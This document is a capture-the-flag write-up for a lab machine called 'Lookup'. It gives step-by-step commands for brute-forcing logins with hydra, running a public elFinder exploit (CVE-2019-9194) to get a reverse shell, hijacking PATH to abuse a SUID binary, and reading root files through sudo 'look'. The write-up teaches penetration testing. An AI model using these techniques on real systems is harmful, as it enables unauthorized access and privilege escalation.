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CHALLENGE ROOM

Lookup

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Level:

EASY

Technology: Linux

Challenge description ​

Lookup offers a treasure trove of learning opportunities for aspiring hackers. This intriguing machine showcases various real-world vulnerabilities, ranging from web application weaknesses to privilege escalation techniques. By exploring and exploiting these vulnerabilities, hackers can sharpen their skills and gain invaluable experience in ethical hacking. Through "Lookup," hackers can master the art of reconnaissance, scanning, and enumeration to uncover hidden services and subdomains. They will learn how to exploit web application vulnerabilities, such as command injection, and understand the significance of secure coding practices. The machine also challenges hackers to automate tasks, demonstrating the power of scripting in penetration testing.

Challenge Overview ​

In this challenge, we are tasked with gaining access to a vulnerable web application, escalating our privileges, and ultimately retrieving the root flag. The target system hosts a login page and a file management system, which we will enumerate and exploit to achieve our objective.

Enumeration ​

Nmap Scan ​

To begin, we perform a comprehensive scan of the target machine to identify open ports and services:

bash
nmap -sC -sV -v -p- -oN lookup.nmap 10.10.223.218

Scan Results: ​

bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 445f26674b4a919b597a9559c84c2e04 (RSA)
|   256 0a4bb9b177d24879fc2f8a3d643aad94 (ECDSA)
|_  256 d33b97ea54bc414d0339f68fadb6a0fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://lookup.thm
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The scan reveals two open ports:

  • 22/tcp: SSH service running OpenSSH 8.2p1
  • 80/tcp: HTTP service running Apache httpd 2.4.41

Web Enumeration ​

Accessing the Web Application ​

Navigating to the target machine’s IP address redirects us to http://lookup.thm. To access this domain, we add it to our /etc/hosts file:

bash
echo "10.10.223.218 lookup.thm" | sudo tee -a /etc/hosts

Upon visiting http://lookup.thm, we find a login page:

Lookup Login Page

Credential Brute-Force Attack ​

Username Enumeration ​

Testing with admin:admin returns an error message indicating an incorrect password, which suggests that the username admin exists. This allows us to perform a brute-force attack.

bash
hydra -l admin -P /usr/share/wordlists/seclists/Passwords/2020-200_most_used_passwords.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong password."

Output: ​

bash
[80][http-post-form] host: lookup.thm   login: admin   password: redacted

Although we find a valid password, logging in still fails. We pivot to brute-forcing usernames using redacted.

bash
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -p redacted lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong"

Output: ​

bash
[80][http-post-form] host: lookup.thm   login: jose   password: redacted

Now, logging in as jose grants access to the application.

File Management System Exploitation ​

Upon login, we are redirected to http://files.lookup.thm/. After adding it to /etc/hosts, we gain access to the file manager system called Elfinder.

Elfinder

Checking for vulnerabilities, we find CVE-2019-9194, which allows an attacker to upload a malicious PHP payload for remote code execution.

Exploiting Elfinder ​

We found the exploit script on GitHub.

bash
python3 exploit.py -t 'http://files.lookup.thm/elFinder/' -lh 127.0.0.1 -lp 4444

We successfully obtain a reverse shell as www-data:

bash
www-data@lookup:/var/www/files.lookup.thm/public_html/elFinder/php$ whoami
www-data

Privilege Escalation ​

Finding Credentials ​

Listing /home, we find a user think. Searching for files with the SUID bit set:

bash
find / -type f -perm -u=s 2>/dev/null

We identify /usr/sbin/pwm as a potential target.

Exploiting pwm ​

Running it returns:

bash
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found

We can hijack the id command by modifying the $PATH variable:

bash
echo "echo 'uid=1001(think) gid=1001(think) groups=1001(think)'" > /tmp/id
chmod +x /tmp/id
export PATH=/tmp:$PATH

Running pwm again now leaks the passwords:

bash
jose1006
jose1004
josemario.AKA(think)

Using hydra to brute-force SSH with the leaked passwords:

bash
hydra -l think -P passwords.txt 10.10.16.248 ssh

We successfully log in using think:redacted.

bash
ssh think@10.10.16.248
think@lookup:~$ id
uid=1000(think) gid=1000(think) groups=1000(think)

Now, we can read the user flag:

bash
cat user.txt
THM{USER_FLAG}

Root Privilege Escalation ​

Checking sudo permissions:

bash
sudo -l
User think may run the following commands on lookup:
    (ALL) /usr/bin/look

Using GTFOBins, we find that look can read arbitrary files as root:

bash
LFILE=/root/root.txt
sudo look '' "$LFILE"

This successfully retrieves the root flag:

bash
THM{ROOT_FLAG}